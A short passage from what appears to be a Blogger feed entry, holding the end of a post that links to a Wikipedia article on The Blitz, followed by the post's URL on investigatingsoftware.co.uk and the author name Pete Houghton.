concerning <a href="http://en.wikipedia.org/wiki/The_Blitz">The Blitz</a> of interest.<br /><div><br /></div>http://www.investigatingsoftware.co.uk/2011/12/wrong-end-of-stick.htmlnoreply@blogger.com (Pete Houghton)0